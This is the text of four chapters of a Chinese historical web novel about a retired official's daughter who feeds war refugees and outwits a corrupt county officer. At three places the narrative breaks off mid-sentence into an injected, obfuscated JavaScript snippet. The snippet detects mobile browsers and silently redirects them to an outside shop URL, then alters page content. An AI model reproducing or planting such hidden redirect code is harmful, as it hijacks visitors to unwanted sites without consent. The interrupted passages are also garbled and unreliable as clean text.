《金阙三分月》 1. 第一章 “小姐。”老刘见沈沁姝又站在药铺门口望街角的流民，他提着刚买来的药包，走了过去，轻声唤道。 “如今正是深秋，北方初寒，又战事不断，这些个流民拖家带口的都往南方逃。江南重镇守得紧，容不下他们，便就都逃到了周边的镇，其中就属我们青溪镇来的流民最多。”老刘压着嗓子对沈沁姝说着他听来的消息，随即又劝道，“先前流民尚少，小姐帮扶一二也罢了，可如今北境败报频传，日后流民只会更多，小姐纵然心善，又能救得几人？” “老刘。”沈沁姝轻声打断他。 她掀起夹袄的衣襟，指尖探入内侧的绢带，抽出素色荷包，捏着抽绳打开，数了数。 “小姐……”老刘一看便知自家小姐根本没讲他说的话听进去，语气有些不赞同，但作为奴仆又不能干涉小姐的决定，只得又劝道：“先不说这几日西市米价一日一个样，便是夫人每月的药都涨了不少。家中虽比寻常人家宽裕，可也架不住这样造。老爷辞官后就靠那二十亩田的租子和山场的茶油过活，每月要供着宅里的用度，还要给夫人抓药，这都是细水长流的钱，哪能由着性子散？” “好了，老刘，我知道了。”沈沁姝也知道老刘是真心为家中考虑，但让她看着这些流民，无动于衷的回家了，她也做不到。 “我虽救不得所有的流民，但今日眼前这些，我总能帮一帮。” “呐。”沈沁姝数了六个铜板放回自己的荷包，抽紧绳，又重新藏回衣襟，随后将剩下的铜版放在老刘手中，顺便接过了他手中的药包。 “我自个留了钱，没有全给出去。这是二十个铜板，你去铺子里买些馍来。” “是，小姐。”老刘自知劝不住，便也就领命去了，“不过小姐，您别自个往街角去。” “我知道，我就在这儿等你。”沈沁姝站在屋檐下，“对了，记得买粗面的，这样能买多些来。” “老奴省得。”说着老刘转身朝街口的馍铺去了。 陛下两年三征漠北，前两次已是两战两败，如今看这些流民难逃的惨状，想来这第三次也是败绩。 只是这边庭一败，苦的终究是黎民百姓。 不过北境究竟乱成何种地步，得回去与爹细谈才知。 只是青溪县尉赵子平本就苛酷，虽不知他起初为何没有立即闭镇，而是允许了流民入城。但眼下流民云集，怕要不了多久他便会寻个由头闭镇锁城，到时候城外流民无粮无蔽，城内百姓也要受牵连，这青溪的安稳怕是也守不住了。 想着，沈沁姝叹了口气。 此时老刘尚未回来，街角却传来一阵喧嚣。 “走走走！别在这儿堵着，再不走拿你们去县衙问话！”说着差役一脚踢到准备避让的小孩身上，原本坐在地上的男子连忙起身，一边陪笑着，一边抱起孩子，递给一旁的妇人。 妇人接过孩子，低声安慰着受到惊吓却又不敢哭闹的孩子。 一旁的差役嘴里还骂骂咧咧的，他身旁稍年长些的差役拉了拉他，低声附耳说了几句，两人皆是笑了起来。 “住手！”沈沁姝上前，差役闻声回头，见是沈沁姝，这才有些收敛。 两人拱了拱手，喊道：“沈小姐。” 稍年长那个看着沈沁姝手中的药包，笑道：“沈小姐又来为沈夫人抓药？” 沈沁姝微微颔首，没有接话。这墙根蜷缩着的应该是一家五口，老妇抱着个襁褓婴儿，中年男子扶着老父亲坐在一旁，刚刚挨踢的小孩蜷在自家母亲怀里。 男女老幼都穿着破烂的粗布衣裳，说是衣裳，不如说是一些破布挂着絮，露着冻红的胳膊，想必一路从北方逃亡而来都从未换过衣物。 差役见沈沁姝不理会他，只盯着那些流民，知道她是看不惯他们刚刚的作为，但他并不打算说些什么，于是拱拱手准备告辞。 “小姐，”老刘无奈的声音在身后响起，“不是说好您不要一个人来吗？” 说着便来到了沈沁姝身边，接着向她身旁两名差役福了福身道：“李差爷，赵差爷，许久未见了。” 稍长些的李差役见状笑着回道：“老刘，前些日子赵大人还念着沈大人呢。” 老刘笑着准备寒暄几句，沈沁姝瞥了李差役一眼，打断了他：“老刘，馍给我。” “欸，小姐。”老刘怎么能让她亲自去发馍呢，这便歇了继续寒暄的话头，“还是老奴来发吧。” 老刘给蜷缩在墙角的一家人，一人递了一个馍。周围的流民见有人在发馍便都围了上来，但又见这边还有两位差役，便都不敢太放肆。 “老刘，给我些吧。”沈沁姝拿过一些馍，发给围过来的人。 赵差役在一旁嘴里不知嘀嘀咕咕说些什么，一脸的不耐，而李差役则是无所事事的站在一旁候着，见他那样便低声说道：“好歹是沈家小姐，若是在我们眼前出了什么意外便不好了，就耽搁会吧。” 眼见着馍发完了，一旁面黄肌瘦的老妇人还没有拿到，眼巴巴的看着沈沁姝，口里恳求道：“小姐，行行好吧。”接着往前走了几步。 “站住。”李差役见状呵道，老刘也向前护在沈沁姝身旁。 老妇人身体一哆嗦，便没再向前，只是眼神带着希翼的看着沈沁姝。 “小姐，馍没了。”老刘看了看沈沁姝的神色说道。 沈沁姝也知老刘这副紧张模样是情有可原，毕竟流民饥饿难耐，而人心难测，她是可怜这些流民，但也不会把自己置于危险之中，正如老刘所说，她身上这些银两也帮不了什么忙，买来的这些馍也填不饱所有人的肚子，如此还不如回府与父亲商议开仓放粮一事更为有效。 至于这个老妇人，馍没了，她也不能直接拿财物给她，不然等她走后，这老妇人也守不住财物，到头来还会害了她，只得从长计议。 李差役见状也上前道：“沈小姐，县尉大人昨日吩咐过，不许任何人接济流民。若沈小姐出什么意外，小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494604|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的们可吃罪不起。”他瞧出沈沁姝神色冷淡，但也不恼，陪笑着劝道，“还请沈小姐快些回府，这些流民，小的们来驱散便是。” 沈沁姝这才看了他一眼，眼底凝着几分冷意。她自然清楚，这是赵子平的命令，底下的差役也不过是奉命行事，可方才他们对流民动辄呵斥推搡的模样，仍让她心里压着火气。她也明白这两名差役对她好言好语是看在她父亲的面子上，与这两人争论没有任何意义，这才压下心里的不耐，神色微缓，淡淡颔首，转身离开了。 老刘见他家小姐的神色，怎会不知她在想什么，心中微微叹息，面上却挂着笑，朝那两名差役拱了拱手：“劳烦二位了，我们这就回府。” 所谓伸手不打笑脸人，两人也向他拱拱手。 见老刘跟上沈沁姝，待两人稍走远了些，赵差役暗暗骂道：“神气什么，还以为她父亲是县丞呢！” “行了，”李差役劝了他一句，接着对流民呵道，“走走走！别在这儿堵着，再不走拿你们去县衙问话！” 沈沁姝刚走不远，她身后传来一阵嘈杂，呵斥声、棍棒敲地的闷响混着流民的哀求、老人的咳嗽以及孩童的哭闹。她步子微微一顿，脸色沉了下来。 “小姐……”老刘见她脸色沉的厉害，先顺着她的心思说，“老奴知道您心里不好受，这些流民本就可怜，差役这般作态，换了谁都气。” 顿了顿，他又压低声音道：“只是您也知道，老爷辞官这些年，沈家在县里的体面全靠以往的情分撑着。方才那赵差役是赵县尉的侄子，赵县尉如今握着县里的兵权，咱们人在屋檐下，硬碰硬讨不到好，还请小姐忍一忍。” “我知道，”沈沁姝知道老刘是为了她好，却压不住心里的怒火，冷哼一声，“不过是攀着不知几房的远亲，偏要拿这点身份出来狐假虎威、耀武扬威，这赵子……赵县尉也是上梁不正下梁歪，纵着亲眷这般横行霸道。” “这亲疏远近的，赵大人自己认了便是亲的。”老刘轻咳了一声，“小姐，在外头，这话可不能多说，免得落人口实。而且重点也不是这个呀，小姐……” 这其中的利害关系，沈沁姝又何尝不清楚？她抬手揉了揉额头，语气冷硬：“这般靠忍气吞声、蝇营狗苟换来的体面，不要也罢！”说罢，她不再多言，加快了脚步，径直向前走去。 “唉，小姐呀……”老刘望着她的背影，有些无奈，但终究没再多劝。 见跟上自己不再言语的老刘，沈沁姝抽出荷包，取了三个铜板递给他，语气稍缓：“你再去买几个馍来，去找刚刚那个老妇人，她应该还有家人……若是没有家人，你便看看附近还有没有其他人，把剩下的馍分了便是。”她顿了顿，“若是只有她一人，你见她吃了再走，别直接把铜板给她，如今世道人心难测，流民们饥渴难耐，难免欺负孤寡，抢人钱财，她一个老人家守不住的。” 老刘点点头，今日他劝了太多，如今不好再说什么：“好的，小姐。” 2. 第二章 “小姐回来了！”门房见了沈沁姝提着药包走来，双手交叉放于胸前，弯腰招呼道。 “嗯，辛苦了。”沈沁姝微微颔首，回道。她跨进黑漆大门，桂香从两侧传来，前院的这两株老桂开得是泼泼洒洒，风一吹，细碎金蕊落了青石板一地。 沈沁姝停了下来，抬头望着这两株老桂，这世间人事更迭，唯有此树，岁岁枯荣，只随天时，不问沧桑。 想着她轻笑着摇了摇头，自己何时如此伤春悲秋了。 她继续往前走，却看见杂役阿福正握着竹帚，弯腰要扫那层桂花，听见脚步声，他抬头见是沈沁姝，连忙直起身要行礼。 沈沁姝抬手轻轻止住。 阿福随着沈沁姝的目光，看向地上那些桂花，他低声说道：“小人见这桂花洒了一地，便想着收拾收拾。” “不必扫了。”沈沁姝闻言，目光掠过满地金黄，最后看向阿福，语气清淡，“随它落着吧，这样倒好看。” 阿福愣了愣，随即应声：“是。”便低头垂手立于一旁。 沈沁姝过了垂花门，向着主院走去，院中一身着青布短襦的丫鬟正在洒扫。 “小莲，母亲在里面吗？” “小姐回来了，夫人在屋里等您呢。”小莲迎了上来，接过她手中的药包，“婢子这就去熬药。” 沈沁姝颔首，向东屋走去，走了几步，她看向北屋，停下脚步，转身叫住了小莲：“父亲呢？” 小莲摇了摇头：“老爷不在屋内，但也不知老爷去哪儿了。” “去吧。”沈沁姝挥了挥手。 “娘，我回来了。”沈沁姝敛衽跨过屋门，进入外间，轻声唤道。 屋中有一楠木八仙桌，桌角放着白瓷药罐和一只空白瓷碗，靠墙是榆木博古架，架上三两素瓷瓶。 沈沁姝扫过这些家具，最后停在内室的门帘前几步。 门帘被人掀起，一穿藏青比甲，头挽低髻的老妇人躬身走了出来。 “小姐回来了。” “张妈，药包交给小莲了，等熬好了，劳你给夫人送来。” 言语间，屋内传来沈母的一声“进来”，张妈一边应着沈沁姝的话，一边为她掀起帘子，嘴里还念着：“今日小姐回来的怎晚了些，夫人刚还念着您呢。” “对了，父亲可有来过？” “老爷早上来看过夫人，”张妈像是想起什么，又道，“周管家来过，说是老爷叫您回来之后去书房找他。” 沈沁姝颔首：“你出去让人回父亲一声，说我回来了，等我看母”亲就去书房。” “是。”张妈福了福身。 林婉清坐在床上，半倚在软枕上，身着月白交领中衣，外罩素缎比甲，鬓发松挽，腿上盖着薄衾，手中拿着针线，正抬眼看着走进屋的沈沁姝。 沈沁姝快步走到床边坐下，眉眼间满是关切：“女儿回来晚了，先给母亲请安，您今日咳得可好些了？”言语间，她眼神扫过林婉清单薄的中衣和薄衾，颇有些担忧道，“这些天降温得厉害，母亲怎么穿得如此单薄？” 林婉清放下手中的针线，牵起她的手，轻轻摩挲着，眼底漾开笑意：“我今日好多了，再说这屋里烧着暖炉，哪里就冷了？你父亲既特意叫人来寻，必是耽搁不得的要事。娘这里有张妈伺候着，你且先去书房，莫让你父亲久等。” 沈沁姝是沈敬之和林婉清的独女，自她幼时流露出对政事和兵法的兴趣，沈敬之便不以“女子不宜涉政”的俗见待她，反倒常将她唤至书房，与她纵论天下大势，凡她有不解之处，必耐心拆解、倾囊相授，从未说过半句“可惜女儿身”的话。林婉清也从不以闺阁规矩束缚她，由着她借替她买药的说辞，任她出入府中。 闻言，沈沁姝替母亲掖了掖被角，便起身福了福，应道：“那女儿先去了。” “等等。”林婉清叫住了她，“日前老刘与我说，你这些日子出去买药的银子都花掉好些了？” 背对着林婉清的沈沁姝闻言，连深吸一口气，老刘这嘴啊！怪不得他今日几次三番的阻止我。 她缓缓转身，脸上带着些讨好的笑。 知女莫若母，林婉清一看便知自家女儿，她笑叹道：“是我问老刘你近日出门做了些什么，老刘也是怕你手头太紧，你别去怪他。”她对沈沁姝招了招手，“罢了，把荷包给我吧。” 沈沁姝将荷包取出递给她，林婉清一数，嗔了她一眼：“你到还知道给自己留些。” 看着自己略显寒碜的三个铜板，沈沁姝不太好意思地摸了摸自己鼻梁。 林婉清将荷包放在自己身旁，眼底带着几分了然的笑意：“去吧，等会我让张妈再给你装些。这些身外之物，你日后若是缺了，与娘说便是。出门在外，莫要让自己身上就剩这些个铜板了。” “谢谢娘！” —— 沈沁姝行至书房外，见门扉紧闭，门外也无人伺候着，想来真是有要事找她，便轻轻敲了敲门：“父亲。” “进来吧。”里面传来沈敬之的声音。 沈沁姝推门而入，随后转身关上了门。 西侧书房不大，一壁半旧榆木书架占了半面墙，沈敬之便站在书架前，正翻着一本书在看。 听见开门声，沈敬之没有抬头，只吩咐道：“桌上有两封信，你先看看。” 书房正中有一张用楠木包边的旧榆木书桌，书桌上有一青石砚，砚台里残墨未干，而一旁便是沈敬之说的那两封信。 沈沁姝拿起那两封信，只见一封面上写着“沈公敬之兄启”，另一封写着“沈县丞钧启”。 沈沁姝先拿起第一封来自朔方军前写来的信。 “旧友苏景恒？”沈沁姝抬眼瞥向沈敬之，此人她没听父亲提过，但心中也隐隐猜到信中大意。 沈沁姝拆开信，速速读过。 读完后，她眉峰微蹙，果然如她所料。 见她读完，没等她问，沈敬之又道：“你再看看另一封。” 这一封是从清溪县衙写来的，没有署名。 见她两封信都读完，沈敬之这才走到书桌前，放下手中的书，问道：“如何？” 沈沁姝将信叠好，放回桌上，垂眸静思片刻，回道：“女儿有三句话，请父亲斟酌。” “其一，北伐大败已是定局，信中只说流民四起，却未说朝廷如何安抚、如何调兵善后，如今圣上……”沈沁姝微微一顿，隐去了一些大逆不道的话，继续说道，“短时间内，怕是不会有人管百姓死活。” 闻言，沈敬之点点头，也未管她那大逆不道的言论，示意她继续说。 “其二，赵子平急着封城阻挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494605|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流民入城，应该已是收到战败的消息，怕大批流民入城乱了秩序，可对此女儿有一事不解。” “嗯？但说无妨。” “赵子平此人性格，应该会选择在战乱开始时就闭城，怎会给流民安生的地方，这……”此疑问其实从她知晓青溪未封城时便有了，只是自己一直没有琢磨明白。 “当今县令杨士达已年近花甲，年后他任期便满，恐就要乞骸骨了。对他这样的官员，无过便是有功。” 见沈沁姝还是不懂，他便点明了些说：“他读了一辈子的圣贤书，还是见不得百姓流离之苦，只是这乱世之中，敢担责的人还是太少了。” “原是这样。”沈沁姝了然，是她将人想得太坏了，还以为杨县令是和赵子平一样的人，“他当初看不过百姓流离失所，便拦下赵子平，让流民们进城。但如今战局已定，青溪留不住那么多流民，一旦流民生乱，青溪仅百余名府兵压不住暴乱，他很可能因此获罪，于是便默许了赵子平带人封城。” 见沈沁姝那么快便能想清楚其中门道，沈敬之颇为满意，他点点头：“如今对他们而言，流民并非政绩，而是麻烦。为父与赵子平共事三年，对他的性格也颇为了解。按理来说他前年便该调任，只是这两年圣上用兵，四方动荡，吏部文书不至，他也就留任至今。这人油滑得很，眼里只有私利和乌纱帽，流民的死活，是半点不会放在心上。” 沈沁姝此时便在心中算着时间，父亲在她九岁时便辞官，至今已有五年，雍朝官员四年一任，这杨县令是三年前调来的：“父亲也未曾与杨县令共事过吧。” “是，”沈敬之点点头，“平日里吃过几次酒，对他的性子有些了解，仁厚有余，魄力不足。虽官大赵子平一级，但终究是后调来的，而赵子平这性子，士达可压不住他。” 对此沈沁姝摇了摇头，见她这副神情，沈敬之问道：“你还有什么想法，一并说了吧。” “事到如今才封城断路，流民们走投无路，乱子倒越容易从内部生出来。这便是女儿想说的第三点，若真将流民拒之门外，任其冻饿至死，必会啸聚为盗，而赵子平这般酷吏，必会用雷霆手段镇压。到时候外有流寇，内有苛政，青溪反而先成了火海。” 沈敬之看着短短时间便参透此中门道而侃侃而谈的沈沁姝，指尖轻轻叩着书桌，半晌才叹道：“你看得极透，青溪的官员，竟无一人及你。”他摇了摇头，语气里满是疼惜，“我从未对你的才华说过可惜二字，可今日是真为你可惜，这世道不公，竟没能给你大展宏图的机会。” “父亲……”沈沁姝听见这话，鼻尖猛地泛起酸意，眼前有些发涩。这世间有大才的女子不知还有多少，却都被这世俗规矩困于深宅大院，连门都不得踏出一步。而对比她们而言，也许她还算是幸运，至少还有父母能支持她。 “父亲已经帮我很多了……”她喃喃道。 沈敬之见她神色落寞，便知自己失言了。他从来不说这般话，而是不竭余力的去支持她，便是想着能尽量减少这世间对自家女儿的约束。但他也无法独自对抗世间俗见，最终还是将自家女儿困于宅院之中，只得眼睁睁看着那些不如她的庸才做下一桩桩蠢事。 想到这儿，他不愿让沈沁姝再沉浸在这愁绪之中，连忙转了话头：“那依你之见，接下来该当如何？” 3. 第三章 沈敬之的疑问将沈沁姝从思绪中拉了出来，她定了定神，缓缓道：“堵不如疏，压不如安。我今日在街上看见了那些流民，官府非但不曾救济，反而棍棒驱赶他们。虽说早已猜到是这样的情形，但……”说着沈沁姝摇了摇头。 沈敬之自然是知道如今的情形：“此事你也不必太过担心，我昨日去寻了杨县令提及开仓放粮一事，他虽说朝廷未曾下令，不肯开官仓，但对于我要开私仓一事，倒是默许的。” “只是这般私自开仓放粮，父亲怕是要担上干系了。”沈沁姝皱着眉头，私开粮仓此事可大可小，她不愿父亲因此受半分牵连。 “有杨县令睁一只眼闭一只眼，倒是担不了多少干系。今日杨县令与几位乡绅都悄悄送来了些许粮米钱财。此事虽未过明路，但也是彼此心照不宣的。” 见沈沁姝还是很担忧的皱着眉头，他笑着，曲着手指轻敲了敲她的额头：“小小年纪，莫要思虑过甚。穷则独善其身，达则兼善天下。这世间总是需要担责的人，我曾为青溪县丞，也算得这一方百姓的父母官，就算日后要担些责也无妨。” “就怕赵子平借机发难。”沈沁姝虽知父亲说的有理，但心中还是有些不安。 “流民尚未生乱，朝廷亦未明确下令禁止救灾，他纵想寻我错处，也掀不起多大风浪。再者，士达到底官大他一级。” 见沈沁姝还欲开口，沈敬之将先前手中的旧书递到她面前：“这你应当看过？” 沈沁姝接过，原来并不是书，而是家中世谱。 只见其封面是深褐色的古布裱糊，边角已磨得有些光滑，上面“吴兴沈氏世谱”六个烫金大字，虽历经岁月褪去了光泽，但依旧透着一股世家气派。 沈敬之书房藏书众多，沈沁姝经常来书房看书，这世谱她确实翻到过。她当时还惊异于她家竟有这般辉煌过往，可问及父亲时，他只道往事随风，不必再提。 她虽心下有几分猜测，但始终只是猜测。 莫非父亲今日要同她讲那些往事了？ 沈沁姝虽收敛了神色，但眼底却满是期待，望着沈敬之。 “罢了，”沈敬之看她这副模样，笑着摇了摇头，“说起来到也没什么。” “你祖父曾为南朝延尉，吴兴沈氏也曾是建康望族。说起来，如今会稽顾氏与沈家，乃是祖辈世交。你祖父与顾老大人同朝为官，情谊深厚，当初还笑谈指腹为婚，盼着子辈结亲。谁曾想两家子辈皆是男儿，这才作罢。可大雍定鼎后，你嫡亲的叔伯因不肯附逆新朝，被贬谪岭南，家族便就此散了。为父科举入仕，只求一闲职，做个清官。可青溪这地方，官官相护，赵子平之流，容不下半点正直。辞官虽丢了俸禄，却能保沈家这一脉不沾污名，远离朝堂政治的漩涡。青溪偏安，本是最好的安身之地，只是如今天不遂人愿啊。” 会稽顾氏可是如今江南望族，顾氏与林氏有旧，沈沁姝儿时随母亲去过一次会稽，见过顾氏的顾衍公子，虽只一面，却也知顾氏是江南望族之首并非虚名。 只是没想到，自家竟与顾氏还有这般旧谊，也难怪母亲会嫁与父亲。 “既然与顾氏有旧，为何女儿从未见父亲与顾氏有过往来？” “嫡系站错了队，当初时局动荡，顾氏同为建康望族，自身尚且难保，哪有余力顾念咱们？沈氏败落后，咱们这一脉便成了旁支。但当年为父定居青溪时，顾老大人仍派人送来银百两、布数匹，已是尽了世交情分。君子之交，淡如水，不可攀附。沈氏虽落败，但也不可丢了体面。” 沈沁姝听着父亲这番文人风骨的话，垂着头，不置可否。 沈敬之又道：“你世叔苏景恒，字仲节，乃为父同期科考，同朝为官，我辞官后，他与为父任有联络。自圣上初征漠北，他便一直戍边，如今是录事参军，他给的消息不会出错。雍朝建朝至今，安定不过三十载，没想到这天下，竟又要大乱了。” “此事将如何发展，为父已修书给你娘亲母族与顾氏旧友，只待回信。”他顿了顿，目光沉了沉，“若真到了最坏的地步，你便带着你母亲往南去。顾氏、林氏，还有沈家旧友，总会有人护你们周全。” “父亲！”见他这副托孤般的模样，沈沁姝鼻头一酸，“哪会走到那步田地。” 沈敬之摇了摇头，不再多言，忽而又牵起嘴角，轻笑一声道：“不过是未雨绸缪罢了，你不必担心。” 沈沁姝鼻尖的酸涩还未散去，就被父亲这一笑冲淡了大半。她将世谱放回书桌上，轻声道：“女儿知道了。”话虽如此，但她心中的不安却随着父亲这番话愈发沉重。 “小姐，这是夫人让春儿送来的。”周管家候在书房门口，见沈沁姝走出来，忙躬身作揖，双手将手中的荷包递了过去，低声说道。 沈沁姝接过荷包，轻轻掂了掂，眉眼间多了几分笑意，抬眸问道：“父亲那边，可有吩咐你？” “回小姐，粮食已经按老爷的吩咐备妥，只待小姐主事。” 方才在书房中，沈沁姝向父亲请求让她主理放粮。沈敬之未置可否，只命她去寻周管家，如今看来父亲早已吩咐妥当。 两人一同往院门行去，周管家稍落后沈沁姝三步之遥，低声将已安排妥当的诸事一一禀明。 “小姐。”春儿守在书房小院门外候着，见沈沁姝出来，连忙趋步上前，轻声唤道。 沈沁姝微微颔首，示意春儿跟上，她忽而想起什么，开口问道：“你从母亲那边来，她可喝药了？” “婢子去的时候，正看见小莲端药来，夫人看起来亦是安好。” 沈沁姝闻言便不再多问。 周管家见沈沁姝问完春儿，这才加快脚步跟了上去：“粥棚已经搭好，柴火、米粮都也已备齐，只是这人多眼杂，老爷特意吩咐了，他与夫人都不会出面，这些日子都由小姐出面主持。” 他顿了顿又道：“只是小姐尚未及笄，流民众多，就这般去，怕少不了嚼舌根子的……” “你见我何时在意过这些闲言碎语？”沈沁姝打断他，“流民那边如何了？” “已派人在街口小巷宣传，只是流民多无户籍，拖家带口，极易混乱。小人已安排了十名家丁护院守在粥棚外，以防不测。” 沈沁姝想了想：“倒不必强拦，除了流民，难免会有偷奸耍滑之辈来蹭吃蹭喝，若是不闹事，便也随他们去。施粥时，让护院们看着些，老弱妇孺先行，青壮年排后，一人一碗，按量施粥，免得哄抢出事。今日是施粥的第一日，切不可出了差错，若是大家做的好，我自然少不了赏。” “小姐想得周全。”周管家笑道。 说话间，几人已行至府门，马车早已备好。春儿扶着沈沁姝，为她掀起车帘。 正欲进去，沈沁姝还是有些不放心，又回头叮嘱一句：“今日只说是沈家行善施粥，就说是我的主意，切不可提及父亲。” 周管家躬身应下：“小人明白，稍后会吩咐下去。” 车轮缓缓滚动，朝着城中粥棚方向而去。 粥棚外早已被围得水泄不通，流民们拖家带口，衣衫褴褛，个个面黄肌瘦。这些日子他们见城中在驱赶流民，本以为官府已经不管他们死活了，如今却听闻有人施粥，都又有了希望。 这些人怀中有的紧紧拿着豁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494606|202417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的粗陶碗、木碗，有的只拎着半截竹筒，更多人是两手空空，应当是怕来晚了，没有粥喝，便打算用手接着。 沈沁姝刚下马车便看见这一幕，扭头问周管家：“碗备了多少。” “府中粗陶碗能拿的都拿了，也向周边乡邻百姓暂借了些碗瓢，但人数众多，怕还是不够。” “事到如今，便先这样吧，到时候记得记好哪些乡里借了碗瓢，千万要洗干净了还给别人。” 周管家应道，随后上前扬声：“诸位稍安勿躁！沈府小姐体恤民情，今日开仓施粥，人人有份，按量供食，绝不落空！所以大家切勿争抢，若有人乘机闹事，沈家绝不轻饶！”说着，护院拿着武器也在一旁拦着。 “也不必多说了，先施粥吧。”沈沁姝轻声对周管家说道。 周管家应声吩咐下去了。 沈沁姝带着春儿走进粥棚，亲自上前帮忙盛粥。一旁盛粥的家仆见状，劝道：“小姐，这里人多……” “无妨。”春儿自知自家小姐的性子，待沈沁姝说完，便帮着她接过流民手中的碗，让她打粥。 眼见着粥越来越少，沈沁姝偏头对春儿吩咐叫熬粥的人再准备些，说着便准备去接下一个人的碗。 那人一边说着“谢小姐，多谢小姐！”，随后一双捧着的手递到沈沁姝面前。 这是一老翁，须发皆白，脸上沟壑纵横，衣衫破得遮不住身体，枯瘦的双手就这样捧着。 “碗分完了。”春儿低声对有些诧异的沈沁姝说道。 沈沁姝一时竟有些无措：“可这粥很烫……” “无妨，小姐，小人不怕烫，就这般喝就好了。”老翁眼神看了看自己捧着的手，有些急切道，像是怕沈沁姝不愿意分粥给他。 “沈家小姐，这有碗，先拿去用吧。”一旁围观的乡邻妇人们，不知何时回去拿了一摞粗瓷碗和木瓢，拎着豁口的盆罐赶来，家丁接过放在粥棚一侧。 春儿递过一只粗陶碗给沈沁姝，她盛好粥，双手递给老翁，一边转头低声对春儿吩咐：“去记下那些乡里的姓名和这些器具，等会用完洗净送回去。” “是，小姐。” 一切渐渐井然有序，沈沁姝原本有些沉重的心情也好了许多，开始笑着和那些流民们搭起话来。众人得了温饱，又知晓她是位心善的小姐，言语间倒也多了些恭敬和感激。 此时人群内却传来一阵喧嚣。 “这粥里怎混了这么多沙石！粮不够便直说，，这般糊弄人，就为了好名声，不把我们这些人命当回事！” 闻言，沈沁姝沉下脸色，叫住周管家，让他去看一看。 而周管家还未走两步，却听另一男声粗声骂道：“放你爹的屁，我们都在喝粥，就你的有沙石，来闹事的吧！” 话音未落，又是一阵哄乱，人群纷纷避让。 沈沁姝连忙去看发生了什么，只见那挑事的男子外裤竟被人扒下，露出内里的亵裤。而扒裤子的那位高大的男子骂道：“哪有流民穿那么好的亵裤，你以为穿个破衣服便能来闹事了？放那么多沙石在粥里，白白糟蹋那么好的粮食！” “小姐快别瞧！”春儿脸一红，连伸手挡在她眼前，急声喊道。 沈沁姝也没想到会是这样的场景，也移开了视线，但她也已经想清此中门道。 想必是赵子平派人来闹事。 这般手段放在平日倒能搅动人心，只是偏生遇上这等直爽的汉子，倒是将大家的注意力都吸引了过去，还顺势指出了闹事者的破绽。 沈沁姝忍不住轻笑着摇了摇头，这汉子看着鲁莽，但粗中有细，倒也是个奇才。 4. 第四章 “小姐！您还笑？”春儿见沈沁姝笑出声，不免又羞又疑。在自家施粥的地方，竟有男子做出这般不雅举动，小姐怎么还笑得出来。 沈沁姝笑意稍敛，没多做解释，只是唤住停在原地不知如何是好的周管家：“周管家，竟有人如此丧心病狂，在大庭广众之下，当着众人的面宽衣解带，还是报官吧。” 听闻要报官，那闹事的男子一手提着裤腰，看向另一人，两人对视，皆是脸带慌张，县尉特意吩咐他们不可暴露了身份。 两人眼神交汇间，默契地想悄悄后撤。而与此同时，站在人群后侧的一个男子见状，猫着腰偷偷溜出了人群，朝着县衙方向跑去，转眼就没了踪影。 沈沁姝看着那人跑走的方向，心底冷笑，赵子平的手段，倒真是上不得台面。 “来人！把这两个闹事的拿下！大胆狂徒，竟敢在沈家的施粥的地界闹事！”周管家心思通透，知道自家小姐的用意，见那两人要跑，连忙厉声吩咐周围的护院。 护院们对视一眼，眼底闪过冷意，这人居然敢在小姐面前撒野，个个摩拳擦掌，都准备对这两人下黑手。 “谁他爹又扒我裤子！”“别打了，知不知道我是谁……” 周围自然也有人瞧出了端倪，周管家看着自家下黑手的护院，面露几分慎重，上前对沈沁姝道：“小姐，这二人瞧着像是县尉手下的张家兄弟，这般殴打官差，当真无碍？” “不过是装模作样的闹事之徒，何来官差之说？”沈沁姝第一眼便认出了二人，这才出口让周管家报官，“再说了，就算真是官差，怕也是一场误会，我也没料到竟有官差会来我面前生事，正好让赵县尉自己来认认人。” 赵子平让二人伪装身份闹事，就是因为知晓杨县令已默许沈家施粥，他虽心中对沈家不满，却不敢公然违抗县令的决定。再者，周围全是聚集的流民，他们本就因为战乱和逃难对官府心怀怨怼，如今若是他带着官差来闹事，断了他们的活路，难免激起民愤。流民虽畏惧官差，但性命攸关的事情，兔子急了尚且咬人，何况这些走投无路的人。 所以他只能吃下这哑巴亏，这才是沈沁姝敢这样做的原因。 “小姐，这二人现在就送官府吗？”护院押着挂彩的二人，问道。 “沈小姐好威风。”一道冷厉的声音从人群后传来，随后人群散开，赵子平带着些手持棍棒的官差缓步走来。 “比不得赵大人，在城中行走，都要带那么多人护着。”沈沁姝皮笑肉不笑，语气里带着几分嘲讽。 “如今世道如何，你父亲早已辞官可能不太清楚。本官这也是防患于未然，毕竟四处都不太安生。” 